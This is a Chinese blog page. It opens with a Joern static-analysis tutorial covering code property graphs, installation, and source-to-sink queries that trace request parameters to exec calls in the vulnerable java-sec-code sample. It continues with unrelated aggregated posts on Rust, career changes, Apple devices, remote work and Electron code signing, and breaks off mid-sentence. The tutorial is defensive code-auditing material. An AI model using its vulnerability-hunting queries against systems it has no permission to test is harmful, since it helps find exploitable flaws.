换到代码中说白了就是通过图的方式展示代码中不同节点之间的关系，而这个节点可能是代码块，可能是函数块，可能是变量块，他们之间会通过边的属性来展示节点之间的关系。
而代码在编译执行前会经过几个复杂的步骤，在经过最简单的词法分析和语法分析，代码就会被转为AST(abstract syntax trees)也就是抽象语法树，这也是普遍会用到的通用结构，因为从AST开始不同语言的差异就是就很小了，也会有非常标准的结构。
AST则是一个经典的树结构，这算是数据结构当中非常经典的一个，通过遍历树结构我们就能得到更底层的某种结构，比如IR就是这类结构的一种，这种结构会具有更强的执行顺序，相应的也会模糊掉一些语法。
而CFG(**control flow graphs**)是一种更强调执行流的结构，节点和节点之间只有调用关系，而且会有比较强的代码执行顺序，边上会展示执行相应的条件。
而另一个比较有用但是比较少见的就是PDG(**program dependence graphs**)，PDF也是一种图关系，通过图来展示代码节点之间的依赖关系，他更强调的是节点和节点之间的关系，节点之间的边会展示数据节点的影响关系，所以图结构会更复杂，但会更易于寻找节点之间的关系。
下面这张图就是一张PDG，上面的两个对于x和y的定义会单向影响后续节点的变化，这种联动关系很清晰，这就是PDG的优势。
但无论是AST、CFG、PDG或者是IR等数据结构，又或者是某个原创的中间结构，他们的目标都是一致的，就是用更通用的方式解释代码，这整体可以算作编译原理的前端。它本质上没有实际的区别，无非就是哪种通用结构被拿来做代码分析。
而CPG在这个环境下主体由AST、CFG、PDG多种结构融合而来，我觉得它最大的特点就是利用了图结构庞大的信息容纳能力（毕竟图本身并不是二维的，图结构可以很复杂），可以保证我们在代码分析中遇到任何情况都可以在CPG中找到相应的答案和场景。这是图结构相比其他中间结构解决方案难以比拟的优势。
joern做了什么？
而joern作为一个白盒的代码分析工具，主要做了两部分。
第一部分是实现了一种方案来比较通用的代码转CPG，他的原理也很简单，用已经有的某个组件来实现语义分析部分，然后把不同的AST转成统一的AST，最终转成目标CPG。
而第二部分就是，在已有的CPG基础上，实现了一套查询语法，类似CodeQL，这种，允许通过这种语法来构造不同的查询逻辑实现最终的目标
1
2
3> def source = cpg.identifier.typeFullName(".*HttpServletRequest.*")
> def sink = cpg.call("exec|eval").argument
> sink.reachableBy(source)拿上面这段代码举例子就是，寻找java当中的代码执行漏洞范围，通过简单的指定source和sink就能实现漏洞挖掘，中间的步骤被封装起来。
它同样支持你使用复杂的Scala脚本进行代码的扫描和处理。通过Scala可以实现更复杂的查询和数据流分析。
相比其他的某个白盒工具来说，joern的优势有一点儿非常特例，这点在CodeQL中也有很强烈的体现，就是大部分的白盒扫描工具对于底层的包裹非常严密，很多工具你只能简单的拿来扫描漏洞。
一方面你无法清楚的知道，从这次扫描中你做了什么事情得到了什么东西，甚至无法知道这些漏洞是怎么被扫描或者是没有被扫描到。
另一方面，如果你的目标并不是单纯的扫描漏洞，而是想要通过工具辅助分析代码，比如想知道某个函数如何访问到，这种问题大概率没有答案。
如果对Joern的设计理念感兴趣，可以看看设计者写的文章
或者看看设计师的PPT
使用joern
根据官网的文档，我们可以快捷的安装joern环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15wget https://github.com/joernio/joern/releases/latest/download/joern-install.sh
chmod +x ./joern-install.sh
sudo ./joern-install.sh
joern
██╗ ██████╗ ███████╗██████╗ ███╗ ██╗
██║██╔═══██╗██╔════╝██╔══██╗████╗ ██║
██║██║ ██║█████╗ ██████╔╝██╔██╗ ██║
██ ██║██║ ██║██╔══╝ ██╔══██╗██║╚██╗██║
╚█████╔╝╚██████╔╝███████╗██║ ██║██║ ╚████║
╚════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝
Version: 2.0.1
Type `help` to begin
joern>windows也可以用同样的方式安装，当然你需要有能跑sh的环境和wget/curl。
如果需要做joern做二次开发，还需要下载idea的scala插件
joern的使用方法算是比较简单但是怎么用就要看需求了，可以多关注官网提供的很多查询语句帮助理解
这里我们下一个java-sec-code作为范例代码
导入到joern的方式也很简单
在运行代码的时候joern也给出了提示，如果想要扫描特别大的项目，建议把前端的cpg转化过程拆分出去。
1
javasrc2cpg.bat -J-Xmx8092m ../../java-sec-code/ --output D:\program\joern\joern-cli\workspace\java-sec-code\cpg.bin.zip
然后在打开joern后将刚才生成的cpg导入进来
1
importCpg("path/to/cpg")
但其实这个转化CPG的过程不会太慢，因为Joern为了优化这个速度，是把转化和连接这两部分拆开做的，换句话说，就是第一步只是把代码转成了CPG，而其中节点之间的关系并不会在转化过程中连接，而是在语句查询过程中完成，这大大节省了扫描所需的时间。
这里转化的CPG会存在workspace里，用workspace命令可以看到之前转过的所有cpg。
你可以用open(“java-sec-code”)来激活对应的项目
这里最终生成的cpg变量就是代码的CPG，所有的代码数据都会存在这个变量，比如cpg.metaData就是基础元数据，一般来说后面会加个.l，这个l就是tolist，结果会转成list格式。
比较重要的一点是，joern的shell模式为了易用性是优化了tab的，如果不知道命令可以多tab补全命令，会有一个实时的补全，很实用。
通过method可以获取cpg中的所有方法，并获取节点的详细信息。
1
cpg.method.take(1).l
信息太多，你还可以构造返回的map结构，比如行号，方法名，对应的代码。
1
cpg.method.map(n=>List(n.lineNumber, n.name, n.code)).take(1).l
查询调用了getRequestBody的方法，并获取文件名、行数、方法名
1
cpg.method.name("getRequestBody").caller.map(n=>List(n.filename, n.lineNumber, n.fullName, n.code)).l
这里第一行就表示，在XStreamRce.java这个文件的23行调用了getRequestBody这个函数。当然这里我们仅仅找到了一个入口，想要确定这是否可能是个问题，还需要追这个入口(source)是否可以通往敏感函数点，那我们就需要对数据流做分析了。
首先我们需要知道如何访问到调用了getRequestBody的方法，由于这是个SpiringBoot项目，所以可以从@RequestMapping的注解入手，先查询出所有的web入口。
1
cpg.method.where(_.annotation.name(".*Mapping")).map(n=>(n.name, n.annotation.code.l)).l
然后我们可以在@RequestMapping的节点和调用getRequestBody的方法节点中间寻找路径，在Joern它提供了两个方案
- 正向搜索，从每一个RequestMapping的节点向下搜索寻找有没有调用getRequestBody方法的节点
1
cpg.method.where(_.annotation.name(".*Mapping")).repeat(_.callee)(_.until(_.name("getRequestBody"))).l
- 反向搜索，从调用getRequestBody方法的节点向上搜索寻找@RequestMapping的注解
1
cpg.method.name("getRequestBody").repeat(_.caller)(_.until(_.annotation.name(".*Mapping"))).l
关于正向搜索和反向搜索的优劣其实没有特别简单的优劣性，最简单的一个方式是从少的节点往多的节点找，这是最简单的也最不容易浪费资源，只需要执行少的节点数量次数即可。
这里使用的语法是repeat…until…语法，大意是一直向上寻找调用上级/下级，直到满足某个条件为止。
上面的语法只是显示了满足条件的节点，但真正到漏洞挖掘中，我们必须在source和sink中找到数据流才行，当然在Joern中这个也给了非常简单的基础使用方法，也就是reachableBy。
这里用一个比较简单的例子，是java-sec-code最简单的rce例子
首先我们指定exec调用点为sink，然后照例指定含有Mapping注解的方法参数为source
1
2
3def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter
def sink = cpg.call.name("exec")然后直接用reachableBy来做数据流分析获取
1
sink.reachableByFlows(source).p
可以看到这里已经找到了刚才那条数据流。
当然静态分析远不止这么简单，是否有效，是否被过滤都是问题，而且数据流当中也会有复杂的问题变化，而joern在这方面是提供了sc脚本的方案来构建复杂的查询逻辑。
1
./joern --script test.sc --params cpgFile=/src.path.zip,outFile=output.log
这部分的内容后面再讲
- 博客 二丫讲梵 2023-08-18 17:08:42如要阅读全文，点击标题跳转。学习周刊-总第120期-一款go语言编写的开源的自荐邮件服务器系统项目
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2023-08-18 06:01:51🕊️ 本文送给更开放的互联网 起因是看到 @geekbb 介绍 Warp 的推文。尽管 Warp 已经发布了很长时间，就保护 IP 隐私而言，它并没有 iCloud Private Relay 好用，我也没有魔法上网的需求。但是我突然意识到，我还是有隐藏 IP 的需求。 在开…
- 博客 Tmr Blog 2023-08-14 23:08:33648
- 博客 程序员的喵 2023-08-13 07:00:13
很高兴成功申请到 Rust Foundation 2023 Fellows，我认为自己投入到 Rust 之后运气很好，两次申请到开源上的资助，很幸运能够在 cryptape 技术氛围这么好的环境里远程做开源项目。
也许是因为我践行了创造运气的方法：多做 + 多分享，所以顺便多分享一些其他想法。
三年前，我离职时不知道自己未来如何走技术路线，在国内很多职位都很卷，当时我对工作和环境都厌倦了，所以离职换了公司和城市。我在微软的岗位虽然是技术的，但做起来比较无聊，好在业余时间比较多。
闲暇能激发创造力和保持动力，很感激前公司微软包容和良好的工作环境，在苏州的两年里我有时间和精力去找自己感兴趣的事情，我重拾了写作和开源，这让我的生活变得充实，又因为些巧合开始给 Rust 编译器做贡献，从中得到了很多乐趣和收获。
没想到后来逐渐走上了 Rust 开发这条路，再回想起来过程也算是漫长的了，从 2014 年开始接触 Rust 到如今完全以写 Rust 为生，从观望学习、业余投入、全职投入这个过程快 10 年了。回想起来我对编程语言的兴趣是从看 eopl开始的，而再往前是因为 scheme，再往前是因为偶然用了 emacs，所以年纪越大越觉得这句话太对了：
You can’t connect the dots looking forward; you can only connect them looking backwards. So you have to trust that the dots will somehow connect in your future.
Rust 让我开启了一个正向循环，比较容易能在一些开源项目上做出贡献，能看到开源社区里面有很多其他和我类似经历的人。
Rust 社区里另一个吸引我的地方在于有很多乐于分享的技术人，我们可以从世界上这些优秀的工程师身上学习，比如最近我喜欢看 Jon Gjengset的频道，他一期直播就有 2、3 个小时，讲解得非常细致，涉及到的主题也非常宽泛，有分布式、Rust、算法、读博和生活上的体验等等。
当然长期做开源很难，只有真的热爱才能持久，而对喜欢做技术的人来说开源是可能会上瘾的。这一年多里，给 rustc 做贡献好像已经成了我的习惯，业余时间找个 issue 试着解决就像是玩一把游戏，所以我做的事情大多并不难，而只是需要时间和耐心。国外程序员的一大优势就是有空余时间，生活负担不大，并且有足够的耐心去做周期长的事情。
这些资助算是兴趣的副产物，这次 Fellow 项目的一个好处在于可以找 mentor 来指导自己，我还在尝试找打算做的具体领域。上次 Project Grant 让我尝试了些新鲜事，比如录制播客、在 Conf 上公开演讲，这些都是代码之外的一些体验：
感觉上面的播客和演讲的内容大多差不多，打算以后会在博客里再写点技术细节相关的博文。
做得越多，越觉得自己还有好多东西需要学习，我算不上编程语言的专家，只是个业余的爱好者，希望能在接下来时间里有更大的成长。
- 博客 王子亭的博客 2023-08-12 01:00:00
从我 2015 年 加入 LeanCloud 已经 7 年多了，这是我人生中非常重要的一段时间，第一次独居、和蛋黄恋爱结婚、辗转三个城市、有了自己的积蓄、新冠疫情和封控，都发生在这期间。
我在 LeanCloud 一直在做 云引擎，加入公司两年后我就成为了这个产品的负责人。实际上在之前我就对后端托管很感兴趣，在 LeanCloud 这些年也是 Serverless 飞速发展的一段时间，我深度地参与到了云引擎的每一个方面 —— 无论是产品的设计、项目的管理，还是后端开发和运维这样的技术工作，尽我所能实现了这样一个适合于 LeanCloud 的产品形态，我也很高兴公司能在这个产品上给予我非常大的「自由发挥」的空间。
在这样一个技术主导、时间跨度接近十年的项目中，我得到了一个非常好的舞台去实践我的软件工程知识 —— 在开发功能的同时，我不断地在用我最新学到的知识来进行重构，为一些脆弱的实现寻找彻底的解决方案、降低代码的复杂度，用各种不同的方式来编写测试、文档、提升可观测性。同事们也都认可我在这些方面的努力，与大家的讨论也总是会给我带来新的想法。
江宏将 Google 的「工程师文化」带到了 LeanCloud，构建了一个对内透明、能够进行坦诚沟通的工作环境，并坚持执行了这么多年，实属不易。这样独特的文化也聚集了一群聪明、专业的同事。因为我的上一家公司番茄土豆同样非常独特，所以其实我是很晚才意识到 LeanCloud 的特别之处，意识到能和这样的同事一起工作是多么难得的事情。
在被收购后我在很努力地了解大公司工作的方式，但大公司终究难以兼容之前的团队文化，并有着它自身的「大公司问题」，随着业务重心和管理风格的变化、很多一起工作多年的同事的离开，这份工作逐渐变得不那么特别了。
同时，这么长时间地在一份工作上也让我在业余时间少了很多创作的灵感。因为工作本身就会占用大量精力，加上工作中的开发有着更强、更确定的正向反馈（其中最大的当然是按时间计算的工资），导致相比之下更难在业余项目上集中注意力，有点类似于 Overjustification effect 中所描述的，因为外部激励过强影响到了人内在的兴趣。
所以我觉得是时候离开寻求一些变化了，接下来我会休息一段时间，然后和蛋黄一起去加拿大学习、工作，之后的一段时间对我们来说应该会充满未知与挑战。
- 博客 二丫讲梵 2023-08-11 17:11:10如要阅读全文，点击标题跳转。学习周刊-总第119期-一款开源的思维导图
- 博客 王子亭的博客 2023-08-10 01:00:00
在最近几年，我发现自己渐渐买齐了差不多所有的 Apple 设备，我使用 MacBook Pro 在写这篇文章、工作时使用 Mac mini、手机是 iPhone、手上戴着 Apple Watch、使用 AirPods 听播客、在床上用 iPad mini 看视频，蛋黄同样也有自己的 iPhone、MacBook Air、iPad Pro 和 AirPods，我们家里还有一个 HomePod mini。
数据安全与隐私
我选择 Apple 的第一个理由是数据安全，iPhone 和 Mac 都是在业界率先普及全盘加密，并在近些年开始使用硬件安全隔区（Secure Enclave）强制加密的。就像 Apple 的很多功能一样，因为其对软硬件的垂直整合能力，Apple 可以在其所有品类的设备上，提供水平相当的数据安全保证。Apple 也在其在线服务中尽可能使用端到端加密，iMessage、健康、家庭等功能此前已经是端到端加密，2023 年起包括备份、文件、照片、备忘录、iMessage 聊天记录在内的几乎所有 iCloud 服务也都支持了端到端加密（Advanced Data Protection）。
在隐私保护方面，Apple 也是最特别的一家厂商 —— Apple 八成以上的收入来自于消费级硬件的销售，这也是 Apple 唯一的主营业务。这意味着 Apple 的商业模式决定了，相比于主要收入来自于广告和增值服务的互联网公司、相比于消费者业务仅占收入一小部分的软件公司，Apple 更有可能与消费者站在一起。
因此 Apple 的设备上你几乎见不到广告，Apple 也不会帮助第三方收集行为数据和投放广告，在互联网公司千方百计地希望你将数据上传到云端时，Apple 则是唯一坚持设备端机器学习的厂商 —— 将（明文的）数据留在设备端，使用设备端的机器学习芯片来提供 AI 能力。
我知道在一些人看来 Apple 不配于谈隐私，如果注重隐私的话应该使用能够自己掌控所有数据的开源方案。但我仍希望选择一家商业公司来获得更多便利和保证，Apple 则是其中最好的一个选择。
软件生态
对于大部分普通用户来说，Apple 最吸引人的是它的第一方软件生态，这些软件和系统、硬件有着深度的整合，有着非常不错的跨设备使用体验，也贯彻了前面提到的对数据安全和隐私的保护，以及 Apple 的对美学、工具和创造、社会责任和家庭等方面的追求。
照片可能是普通人在工作之外所产生的最多的「数据」了，Apple 在自己的生态内提供了一套无缝的照片管理体验。包括对 Raw 和 HDR 的支持、够用的照片编辑功能、对照片进行分类和搜索、用 AirDrop 或共享相册来分享照片等等。对照片的改动可以通过 iCloud 同步到所有设备上（包括手机、平板和电脑）；但你也可以选择不使用 iCloud，因为所有的功能（包括机器学习驱动的功能）都是可以本地使用的。
这种贯穿所有设备的一致体验在所有第一方应用上都有体现，比如我平时每天都会用到的 Safari、备忘录、邮件、地图、播客等应用，虽然相比于更专业的第三方应用，这些系统内建应用的功能都比较有限，但它们共同保证了 Apple 设备的体验下限。曾经摄像头对我来说也是「扫个二维码而已」，但正是因为 Apple 提供了这样的照片拍摄、整理、处理的体验，才让我在最近几年慢慢喜欢上了摄影。
Apple 对于第三方应用有着非常强的控制，或者换一个角度来说是 Apple 非常善于搭建一个生态让第三方应用能够接入其中，权衡哪些部分应该由系统控制，哪些应该由应用发挥。例如 CloudKit、MapKit、HomeKit、HealthKit 这些框架为第三方应用的开发提供了便利，让第三方应用之间能够互相配合工作，降低用户的学习和迁移成本。出现新的软件或硬件功能时，也可以让第三方软件自动或简单地接入。所以我觉得不能简单地把 Apple 的生态描述为「封闭」，设计一个受控制但又能发展出繁荣生态的系统是非常困难的。
对于开发者来说，macOS 上有着社区驱动的 Homebrew，我几乎所有的软件都是用 Homebrew 安装的，可以让所有软件无论是 CLI 工具、各类 SDK 和 Runime 还是 GUI 应用都处于管理之下，可以一键安装、升级或卸载。因为 Homebrew 主要被使用在开发环境而不是生产环境，所以它会类似一些滚动更新的 Linux 发行版，通常只对最新版本的软件提供支持，刚好符合我的需要。
对于独立开发者来说，Apple 生态有着简单的学习路径、清晰的盈利模式，也正是因为如此，Apple 平台上有着大量高质量的独立软件，充分发挥比如 iPad、Apple Watch、Apple TV 这样的设备形态的独特优势。
硬件
Apple 在每个产品线上仅提供少量的 SKU，无论是不同产品线还是前后的两代产品，其设计都有着非常强的延续性。就我个人来说我更偏好这样有着清晰产品路线和规划的厂商，由厂商来对各种设计进行权衡，消费者只需做很少的选择。
因为 Apple 单个产品极大的出货量，Apple 是目前市场上为数不多能真正地按照自己的想法来决定产品的技术方向的公司 —— Apple 可以投入更多的资源去研发新技术，供应链的上下游也愿意配合 Apple 去将新技术落地。对于消费者来说，极大的出货量带来的好处则是更长的硬件支持时间、在遇到问题时更多的资料和配件，以及保值的二手价格。
实际上 Apple 也确实是在按照自己的标准在做硬件。你很难用其他厂商们都在竞争的屏幕刷新率、电池容量、相机像素数、内存容量去衡量 Apple 的产品，在很多配置参数上 Apple 确实并不占优，因为 Apple 的卖点始终都是包括软件功能在内的综合体验，硬件是为体验服务的，而不是为了与其他厂商竞争的。
不过作为一家公司，Apple 必须要让愿意花更多钱的客户能够有理由花更多的钱 —— 在 SKU 比较少的情况下，Apple 选择了用扩展内存和存储空间达到这一目的，这也是被很多人诟病的一点。
垂直整合
前面聊了几个具体的方面，但如果说有一个最本质的原因导致了这所有的结果的话，我觉得就是「垂直整合」。所谓垂直整合就是指 Apple 一家公司同时完成硬件的设计和制造、操作系统和第一方应用的开发维护、提供 iCloud 这样的软件配套服务，最后还通过 App Store 控制着第三方软件生态。
这种垂直整合使得 Apple 能够对其产品在消费者手中的体验有着完全的控制，贯彻一致的产品设计逻辑，同时也对所有的体验负责。因此 Apple 并不急于使用新的技术去与其他厂商竞争，而是可以以自己的节奏进行打磨，推出系统性的解决方案（例如 Mac 到 ARM 的转型、未来的 visionOS）。
所以说 iPhone 的对手并不是 Android，而是每一个 Android 设备厂商；Mac 的对手也不是 Windows，而是每一个 Windows 设备厂商，而整个 Apple 在个人计算设备领域则完全没有相同体量的对手。
- 博客 MiaoTony's Blog 2023-08-08 21:30:00653
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2023-08-08 06:34:18长久以来# 我一直将个人博客视为一个理想的展示个人 IP 的 “个人网站”，而不仅仅是发布文章的平台。我曾在 2014 年初学编程时使用 WordPress 建站 《世界，你好！》；入了前端坑后，在 2017 年我转向了 Hexo 《做了一点微小的改动》；Web3 飞升后…
- 博客 程序员的喵 2023-08-06 19:15:47
我断断续续也有好几年的远程办公经历了，从疫情刚开始那会儿，我还在大疆工作，在家办公一个来月。2020 年下半年开始在微软，因为疫情那两年一直反反复复的，所以公司长期都是混合式办公，我通常每周会在家待两天，到了 2022 年大部分时间都是在家办公。目前在秘猿则是完全远程办公，我还从未去过公司办公室 :) 。
远程办公有好的方面，也有一些需要克服的困难，这篇文章我总结一下这方面的想法。
前提条件
并不是所有团队都适合远程办公，因为有的岗位需要频繁交流，而面对面沟通肯定是会更高效的。就软件开发这行来说，如果公司要实施全远程办公，需要满足几个条件：
- 有效的管理、分工和协助
- 员工有足够的自驱力
- 公司的 IT 支撑
这些缺一不可，下面我稍微解释一下。什么是有效的管理，通常员工人数到了一定规模都会强调管理，然而很多公司做的是过程管理而不是结果管理，比如统计员工的加班时长，这是在衡量员工的上班过程，也许是因为没有更好的办法来衡量产出、或者是为了压榨员工，反正这就是一种管理上的失败。
远程工作本质来说就是放权，关注结果而非过程。就纯软件开发这行来说，工作结果是相对容易评价的，比如功能是否高质量地完成，方案和设计是否合理等，项目进度等等。
如果公司让员工远程办公，意味着相信员工能够自己管理好时间和进度，而公司也有合理地方式来验收结果。这要求员工有足够的自驱力，而且员工也对工作内容有足够的兴趣，如果一个人对工作内容没什么兴趣或者是排斥的，那远程的情况下就会更糟，因为人都是有惰性的。
远程最大的困难当然在于沟通，所以一个员工日常需要沟通交流的人数非常重要。通常一个小组就是日常协作的单元，15 个以内是相对可行的范围。对管理者而言可能是个更大的挑战，对 IC 来说日常沟通的人数通常是 4、5 个人以内。
另外公司的 IT 支撑很重要，如果工作中涉及到机密文件，而对应的 VPN 等工具不够完善，在家工作就会成为灾难。比如疫情开始那会儿，我的远程办公体验就非常不好，需要连入公司的网络才能访问某些文件，而且速度不稳定。微软的 IT 工具好用些，但连入生产环境和服务器之类的会非常麻烦，需要专门的另外一台笔记本来操作，用一台价值一万多的笔记本来专门连 VPN 确实很浪费，但这也可以理解，毕竟安全对于 ToB 的业务是更重要的事，只是日常带两台笔记本实在会很麻烦。秘猿的 IT 是专门为远程考虑过的，比如公司不提供办公设备，但会提供一些 IT 补助，员工可以用自己的设备来办公，代码都在 Github 上开源的，所以办公体验非常好。
异步沟通
异步沟通需要时间去适应，也更适合我这样的偏向于文字交流的人。在不能得到及时反馈的情况下，就需要把一个事情尽量用简单直接的文字把事情写清楚，并且需要考虑到对方可能会缺失的信息。当然，实时的文字沟通也是很重要的，适当地交流工作之外的事情，可以和线下没见过的同事培养出默契和情感。
软件开发中要达成有效的异步沟通，写好文档尤为重要。这对很多开发人员来说是一个重要的挑战，相比而言程序员更想写代码而不是文字，但文字和图都是更大范围表达自己的工具，你可以写给同事看，也可能需要写给用户看。如果无法通过文字表达清楚，意味着还没想清楚，那用代码也无法表达清楚。
所以，有的公司在面试时会看看应聘者是否有 Blog，主要也是想看这个人有没有文字表达的习惯，以及能不能把事情写明白。
就工具方面，我觉得邮件是个很好的方式，但相对来说国外开发人员更适应邮件。Slack 和 Discord 也不错，但感觉 Discord 相对来说更实时些。文档协作工具比如 Notion、Office 365、飞书等都行，我认为只要能有协同编辑就好。
除了异步沟通之外，一些在线的会议也是非常有必要的，但不宜过长，而且最好在开始之前让参与的人都了解会议的主题和相关资料，这样会更有效率。
我认为自己完全适应了远程办公的阶段就是培养出用文字记录工作的时候，我每天在 Obsidian 上都会建一个当天的文本，按时间顺序记录自己做的什么事情，或者是参与的会中的一些要点。然后通过标签做一些标注，还有把 Todo 给汇总到固定的页面。我在开会之前都会用文字记录会上要谈的要点，也会把一些零散的感受记录下来。
工作效率
通常来说，一个人的有效办公时间是到不了 8 个小时的，所以在办公室里面一直耗着就是耗着，很多时候都在摸鱼耗时间，有的会议就是大家都在摸鱼。
远程办公可以更好地利用碎片时间，以我的感受来说，如果是办公室办公通常下班后我再也不怎么去思考工作上的事，因为上班和下班是有一个明显的界限的。但在远程办公模式下这个界限会很模糊，可能我这会儿在办公，一会儿下楼去取快递了，或者我需要去接孩子之类的。所以很多时候，虽然我不在屏幕前，但我也会脑海里在考虑些工作上的问题。我反而觉得这种情况下会有更多的想法冒出来，比如人在洗澡的过程中会迸发出新的想法，这是很多人都有的体验。
这也是我在做开源的过程中得到的一个体会，因为大项目的开发者会遍布各个时区，所以绝大部分时间都是异步沟通。如果我彻底理解了一个问题，我就可以离开屏幕，随后时不时地去考虑这个问题了，等有了想法再回到屏幕前继续。
当然，在和他人讨论的情况下也可能会冒出想法，但总体而言群体讨论主要是为了达成共识，而更多好的想法是个体产生的。
在家办公一个影响效率的因素是环境，调皮的孩子可能是一个工作上的干扰，但我觉得问题不大，这也需要和孩子协调好。有时候我晚上思维更清晰、效率更高，因为晚上没人打扰，自由安排的情况下我可以更多地利用高效率时间工作，所以我在远程办公的情况下效率倒更高点。
对于大公司而言，整体来说远程办公的总体效率估计还是有损耗的，这也是硅谷大公司想让员工回到办公室的一个原因。但很多人宁愿少拿一些钱也想继续远程办公，因为就个人来说可以节省很多不必要的时间成本，这对于有孩子的员工来说真是太重要了。
心理问题
我看到很多人说远程办公会很孤独，我对此感受不够强烈，大概是因为日常经常和家人在一起，而且我还有两个小孩。如果没有小孩我估计也会感到孤独，即使结婚后也是容易孤独的，而和小孩相处完全是另外一种模式，我想这也是人类生小孩的一个重要原因吧。
但远程工作之后，确实会有一种脱离感，就好像没有进入社会的正常节奏。
脱离感也来自社交圈更小了，和同事之间的沟通基本发生在线上，而除此之外认识其他人的机会也少。我能想到的一个办法就是约老朋友线下见见，或者主动约一些线上认识的人聊聊，也可以线下见。总体而言，年级越大好像越容易产生孤独感，不容易深交，平时交流的人也都是些认识了十年、二十年的人，我不知道其他人是不是有类似体验。我倒是发现自己全职远程后，真的见到线下朋友会更有交谈的欲望，这大概是憋出来的。
另一个感受是，我远程工作之后倒更不容易焦虑了。细想一下大概是我抛去了办公室的一些不良因素的干扰，比如同事之间的竞争等。不是说远程没有晋升的压力，但我觉得从心理上我不是那么在乎了，而更在乎的是如何做好工作和如何提升自己，因为远程的情况下好像自己和公司更为平等的一个状态。不把自己和公司绑定，从物理上做到了就更容易从心理上达成这点。
如何找远程工作
最近确实能看到大量工作在流失，我身边失业的人越来越多，在这种情况下找远程工作只会更难，但这并不意味这没有机会。
我之前总结过一些工作，但我知道现在这个列表里很多公司都没在招人了：
remote-jobs-cn: 国内远程办公职位这里有一个更全的、看起来还在更新的列表：
remote-jobs-in-china: 支持远程办公的中国公司如果英语足够好，可以尝试找一些国外的远程机会，我在 Linkedin 看到还是有些的。区块链这行现在是熊市，所以工作机会也少了很多，但远程工作的比率相对大，大概是这个行业的人确实在践行分布式和无中心化，Web3 Jobs: Blockchain 这个站点上会有相关工作。
我能想到的另一个途径是，尝试找一些招人的、自己感兴趣的开源项目 (背后有商业公司运作的，可支持远程的) – 这样的项目也挺多的，然后给项目做贡献和社区的人熟悉，逐渐成为远程员工。虽然过程会比较耗时，但这确实是个途径。
远程办公还有很多其他好处，比如我现在可以把车的油耗保持在 6L 左右，因为我基本都在错峰出行，很多地方的人流量在工作日会少很多，包场看电影是很常见的。我们还可以做地理套利，比如去生活成本更小的地方生活。我看到公司有个数字游民计划，就是几个同事一起约好去一些未曾待过的城市和地方边工作边旅行，真是很羡慕这样的自由生活，可是我有两个小孩需要照顾😂。
总体而言，我已经习惯了远程办公，好像就再也回不去坐办公室的日子了，这是适合我的一种工作方式。
- 博客 二丫讲梵 2023-08-06 01:24:48如要阅读全文，点击标题跳转。进入大学以来，见闻，经历实多，这许多在我心胸激荡，幸而还清醒，故而转做涤荡，今日下午去图书馆读书，憋不住，在手机上写了此篇。行诗包含了许多主题，诸如哑鸡，黎明，黑暗，忠告，群众心理，微妙心理，沉默，棒杀，捧杀等等，有许多的完全是过程里顺随灵感而来，美妙在此矣。起初我想的只是坚定自己的信念，申明给自己何为重要的，何为不重要的，很意外的杠上开花，而表达了许多看似褒义的忠告，其实未必是好的。我们应当认清自己（是鸡就唱领黎明），认清忠告，从而做自己。
- 博客 Tmr Blog 2023-08-04 22:40:14657
- 博客 二丫讲梵 2023-08-04 17:28:38如要阅读全文，点击标题跳转。学习周刊-总第118期-一款配置简单，使用方便，捕获和监控进出以及跨容器、pod、命名空间、节点和集群的所有流量。
- 博客 oldj's blog 2023-08-01 12:00:00
去年写过一篇 Electron 在 Windows 下的代码签名，今年 7 月中旬，这个证书要到期了，准备续一下，结果发现现在已经不再新签发纯数字代码签名证书了，要进行代码签名，必须购买带 U 盾硬件的版本。和原来的数字版相比，U 盾版贵了不少，而且由于 U 盾需要邮寄，还需要额外的邮费，花费的时间也比数字版多了很多。
U 盾证书的使用和纯数字证书有一些不同，下面记录一下主要过程。
购买证书
购买过程就不详述了，有很多服务商，比如 DigiCert、Sectigo、SSL.com、CheapSSLSecurity 等，当然，也可以在淘宝上找代理。
我是通过淘宝代理购买的 Sectigo 的证书，因为比较了下这样最划算。证书是由 Sectigo 官方从加拿大寄过来的，我下单时由于厂商芯片缺货，等待了 21 天才发货，不过发货之后就快了，从发货到 U 盾到手只过了 4 天。
下图是我收到的 U 盾的样子。
准备工作
由于我的主力开发机器是 M1 芯片的 MacBook Pro，我希望能直接在 mac 上使用这个 U 盾，而不要在打包签名时换电脑。一番探索之后，发现是可以实现的，主要要点如下：
- macOS 上安装 Parallels Desktop 专业版
- 在 Parallels 中安装 Arm 版 Windows 11
- U 盾需要与 Parallels 中的 Windows 11 连接，而不是与 macOS 连接
接下来，需要在虚拟机中的 Windows 11 上安装 SafeNet Authentication Client (SAC) 软件，一般可从证书颁发商网站或者发你的邮件中找到下载链接。
安装之后，插上 U 盾，如果在 SAC 软件中看见了你的设备，就表示一切正常，如下图所示。
证书颁发商发来的邮件中包含了初始密码，可在这个软件中修改密码。注意保管好新密码，万一不慎遗失会比较麻烦。
安装证书
接下来，需要将这个证书安装到当前 Windows 系统中。
点击 SAC 界面中的高级视图：
找到证书，双击安装即可，如下图所示：
另，SAC 软件也有 macOS 版，但这个证书似乎无法安装在 macOS 上。即使安装了应该也没有用，因为后面签名时仍然会调用 Windows 中的证书。
在 Electron 中使用
我使用的是 electron-builder 进行的打包、签名，主要库以及版本号如下：
- electron@25.3.1
- electron-builder@24.4.0
其中 electron-builder 的关键配置如下：
win: { // ... verifyUpdateCodeSignature: true, signingHashAlgorithms: ['sha256'], signAndEditExecutable: true, signDlls: false, certificateSubjectName: 'YOUR_NAME', publisherName: 'YOUR_NAME', rfc3161TimeStampServer: 'http://timestamp.sectigo.com', timeStampServer: 'http://timestamp.sectigo.com', },将其中的
YOUR_NAME换成你证书中的名字即可。问题处理
签名过程中，我遇到了下面的错误：
ensure that 'Share folders' is set to 'All Disks', see https://goo.gl/E6XphP Error: Exit code: 2. Command failed: prlctl exec {e28c7c00-0805-4729-91e9-3bfeacdbbbf8} --current-user \\Mac\Host\\Users\wu\Library\Caches\electron-builder\winCodeSign\winCodeSign-2.6.0\windows-10\arm64\signtool.exe sign /tr http://timestamp.digicert.com /sha1 C2F9D1106A2D69E9351CCE1EF1B6E1AA3E9C475B /s My /fd sha256 /td sha256 /d ......研究了一会儿，发现是因为我的 mac 是 M1 芯片，装的 Windows 11 虚拟机也是 Arm 版的，而目前 winCodeSign 工具还没有提供 Arm 版的签名工具，于是命令失败。
解决办法很简单，导航到 mac 的
